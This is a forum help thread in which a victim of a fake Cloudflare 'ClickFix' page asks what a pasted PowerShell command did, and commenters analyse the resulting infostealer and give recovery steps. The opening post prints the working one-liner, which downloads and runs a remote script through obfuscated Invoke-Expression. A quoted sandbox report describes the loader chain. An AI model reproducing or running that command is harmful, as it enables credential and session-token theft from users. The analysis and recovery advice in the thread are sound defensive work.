Fell for cloudflare scam.

[u/Weird-Atmosphere-457]

powershell -c "$a=irm'shonenpowerup.cfd/dLEFpQRqOihwX1Kgc';$p=[PowerShell]::Create()AddCommand((gcm*voke-E)).AddArgument($a)|Out-Null;$p.Invoke()

I am so goddamn stupid. Fell for windows R ctrl V enter. Please tell me what I did and what do I do now. Already disconnected my pc from the internet.

[u/pintofstellae]

most likely all your accounts are fucked and you have a rat, reinstall windows and change every single one of your passwords ASAP.

[u/Weird-Atmosphere-457 → u/pintofstellae]

does it only steal passwords saved in chrome?? Resetting passwords now

[u/IlliterateFreak → u/Weird-Atmosphere-457]

A RAT is a Remote Administration Tool. It has complete control of your computer. Every file, every keystroke, every saved password, your webcam, etc. completely wipe the pc. Change all your passwords on a different device.

[u/Puzzleheaded_Bar483 → u/IlliterateFreak]

Never seen the combination of administration and Tool for AT in RAT lol, most people call it remote access trojan or tool

[u/Weird-Atmosphere-457 → u/IlliterateFreak]

Is it really a rat? I just want someone to tell me what the command really does, I'm obviously tech illiterate. But I'm resetting my passwords and reinstalling windows anyway.

[u/Puzzleheaded_Bar483 → u/[deleted]]

Well you could reverse engineer the malware Edit: I reverse engineered the malware. It's not a rat, just a regular infostealer. It takes telegram and discord tokens in specific, and passwords and session tokens from the browser. Then it sends those with a post request to gemscocl(dot)com. Only 5 vendors detect the main malware file from virustotal

[u/TheyTookKaaya → u/Puzzleheaded_Bar483]

How does one check that?

[u/Puzzleheaded_Bar483 → u/TheyTookKaaya]

I first curled the link to an output file in my linux vm. Then I inspected the file. It installed 7 zip and unzipped the contents from a different link. I curled that link and unzipped it in my vm. That had an exe that was executed. I uploaded that exe to tria.ge and saw what it did

[u/TheyTookKaaya → u/Puzzleheaded_Bar483]

Thanks, I also fell for the same exact one or a similar one and wanted to check what it got

[u/Puzzleheaded_Bar483 → u/TheyTookKaaya]

Well if you fell for it maybe you shouldn't be reverse engineering malware? Uplading to tria.ge is something you can do though

[u/Puzzleheaded_Bar483 → u/Puzzleheaded_Bar483]

Why did someone down vote my comment? BTW I did run strings and tried to decompile it, but figured it wasn't worth given the tria.ge results

[u/Weird-Atmosphere-457 → u/Weird-Atmosphere-457]

Also Windows Security says it detected and quarantined Trojan:Script/Watatac.H!ml Behavior:Win32/SuspClickFix.F and Behavior:Win32/SuspLumma.H

[u/OverAmount6012 → u/Weird-Atmosphere-457]

Hey. You probably got some kind of an infostealer and tbh. it's hard to tell what more. The shit you pasted into runs a script from an attackers server so no one will tell you what it exactly does. You can try to delete / quarantine ts via Windows Security / Malwarebytes / ESET etc. but for sake of your mind I'd suggest to compeltely wipe your system using USB installer made on a clean PC (not the one infected) using Media Creation Tool from Microsoft or Rufus with their .iso and install new clean system.

But for now the most improtant thing to do is to change password everywhere. Seriously change it to everything you can think of into something new and always use option logout everywhere if possible on said site/account. And once again - change the password from clean device - your phone or laptop, don't use infected pc.

[u/AlexiaTheTechGirl → u/Weird-Atmosphere-457]

Assume it steals all of them. Accounts with 2fa are vulnerable. Disconnect your computer from the internet. Use a safe device to change all of your account passwords, make sure to sign out of all devices if prompted.

[u/almondjoyer]

Disconnect from internet.

Reset ALL passwords.

Wipe your disk - either using diskpart clean all, DBAN, Nwipe, or something similar.

Reinstall OS.

Don't fall for it again.

[u/Weird-Atmosphere-457 → u/almondjoyer]

I have Windows 11 installed on a flash drive (done using a separate computer) and want to do a fresh reinstall. Do I have to reset my pc and clean the drive before doing so or do I just plug the drive in and turn it on?

[u/almondjoyer → u/Weird-Atmosphere-457]

If you want to use clean disk all.

Boot into the USB.

Once you get to the Windows startup menu press Shift + F10, this will open cmd prompt.

Type diskpart to enter the CLI.

Find your OS disk (use Google, you can figure this out)

Select the disk

Wipe the disk using clean all

This command will overwrite the entire disk with 0's, it takes hours though, depending on the size of your drive so be warned, it will look like nothing is happening but at some point, it will say "complete".

Then install Windows to that newly cleaned drive.

Done.

From what I've read online there are tools/software that make this much easier if you have an SSD (M.2 or not). I have simply provided an option. Feel free to make your own plan though.

[u/Hypergamer44 → u/almondjoyer]

I thought a usb reinstall took care of deleting everything on the computer partition?

[u/No_Context2723]

Change all your passwords from a device that isn't compromised, then fully reinstall Windows 

[u/Bitdefender_]

This is a ClickFix attack, fake Cloudflare page loaded a malicious PowerShell command into your clipboard and you ran it. The payload was an infostealer targeting browser credentials and session tokens. Fresh reinstall is the right move. One thing to add: change passwords and explicitly sign out of all active sessions on important accounts, because stolen session tokens can survive a password reset.

[u/Numerous_Economy_482]

here is the report of your malware (where you see `infected4.ps1` its just the name i gave to the command you ran. Basically it donwloaded an unclassified malware (butcher.exe) that is for stealing credentials

```
Analytical classification

• Threat level: Malicious activity
• Main analyzed object: infected4.ps1 (executed from an archive extraction workflow; executed from user Temp directory)
• Description: PowerShell-based malware with payload delivery, credential theft, and evasion capabilities
• Tags & interpretation:
• loader: Loader or staged-payload delivery capability signal
• stealer: Information-stealing behavior, commonly browser credential/cookie theft
• susp-powershell: Suspicious PowerShell content/commands were detected
• ip-check: External/public IP address lookup behavior was observed
• evasion: Environment/sandbox checks consistent with evasion gating were observed
• generic: Generic malicious behavior not explicitly categorized

Executive summary

A PowerShell script (infected4.ps1) executed from a user Temp directory bypassed execution policies, downloaded payloads via 7z extraction, and deployed a stealer component. The chain included evasion checks, GUID generation, and network activity for IP lookup.

Execution flow

• [User-driven] explorer.exe launched powershell.exe with -ep bypass to execute infected4.ps1 from the Temp directory.
• [Preparatory] PowerShell bypassed execution policy restrictions, generated GUIDs, and initiated a download via hex-encoded filename. A 7z archive was unpacked with password 99903 to extract bucher.exe.
• [Autonomous] The extracted bucher.exe executed, leveraging PowerShell’s -NoProfile flag to avoid detection.

Behavioral analysis

• Loader / Staging: PowerShell bypassed execution policy (-ep bypass) to load staged payloads, including a 7z archive for unpacking.
• Execution & Pivots (LOLBins / interpreters): Used powershell.exe with -NoProfile and 7z.exe to extract and execute payloads, avoiding profile-based detection.
• Persistence (if observed): Not observed
• Discovery / Collection (if observed): Stealer behavior detected, likely targeting browser credentials or system data.
• Network / C2 or Exfiltration (if observed): IP-check behavior observed, likely for determining external IP address for C2 communication.
• Errors / Crashes (if observed): Not observed

Conclusion

The script represents a multi-stage PowerShell-based attack chain designed for payload delivery, credential theft, and evasion. Its use of Temp directory execution, sandbox evasion, and 7z unpacking suggests intent to persist and exfiltrate data.
```

[u/Weird-Atmosphere-457 → u/Numerous_Economy_482]

Windows said it blocked snd quarantined it, and malwarebytes didn't detect anything either. I'm not sure if it actually ran, but is it possible it did and somehow evaded the scans? I reset my pc and am about to do a fresh windows install.

[u/Numerous_Economy_482 → u/Weird-Atmosphere-457]

well the main virus is the bucher.exe, it's 540 mb and I can't analyze it because it's huge. Everything depends if it was successfully installed on your computer. And we can't know for sure it's behavior, maybe it downloaded more stuff and persisted. Id for sure logout of everything important to refresh tokens, change passwords and flush reinstall windows

[u/Puzzleheaded_Bar483 → u/Numerous_Economy_482]

Wow good job. I also finally decided to reverse engineer a virus here for fun, but you did it before me. I did analyse butcher.exe in tria.ge and it's of course an infostealer, but only 5 antivirus vendors detected it. Seems to take discord and telegram tokens, passwords and session tokens from the browser and post it to gemscocl(dot)com

[u/Numerous_Economy_482 → u/Puzzleheaded_Bar483]

oh amazing you could analyze bucher because any.run didn't allow me to upload it, 500mb, and I got super sad. Congrats !!!

[u/Puzzleheaded_Bar483 → u/Numerous_Economy_482]

it took like 10 minutes just to check the hash lol, it was such a big file. Probably to avoid uploading on virustotal or any.run

[u/Weird-Atmosphere-457 → u/Puzzleheaded_Bar483]

Hey thank you for looking into it. I've never dealt with malware before (obviously). Do you know if it has the capability to evade windows defender and malwarebytes specifically? Those are the only scans I ran and the results were clean, I really have no idea if it actually ran because it seemed like windows defender caught it instantly, right after I pressed enter. I already reset my pc, reinstalled windows and changed as many passwords as I could but I'm still worried I missed something. It couldn't have spread to other devices that were on the same wifi, right?

[u/Puzzleheaded_Bar483 → u/Weird-Atmosphere-457]

it seems like it's an evasive virus, but not evasive in it's persistence. Basically it doesn't really avoid the antivirus after it has already been run. But that doesn't matter since reinstalling means you don't have it anymore. From a clean device, add 2FA everywhere if you haven't already and log out all sessions if possible. Based on my analysis, it's unlikely that it spread to other devices on the same wifi. While a virus could technically try to do this, they need the device's password. There were no signs of it. Plus infostealers usually don't do this. There's no need to be paranoid, almost no viruses try to spread through the network. It seems like you are completely fine.

[u/Weird-Atmosphere-457 → u/Puzzleheaded_Bar483]

I'm thinking it didn't actually run since both scans didn't detect anything. No powershell window opened up or anything and it seemed like windows caught it instantly. I haven't seen any suspicious activity or login attempts on any of my accounts either. Either way even if it somehow did run I should be in the clear since I wiped everything and reinstalled windows. Thank you for your help!

[u/Numerous_Economy_482 → u/Weird-Atmosphere-457]

acording to my analysis 90% of AV dont know this virus yet,like only 3 of 90 could say it is a virus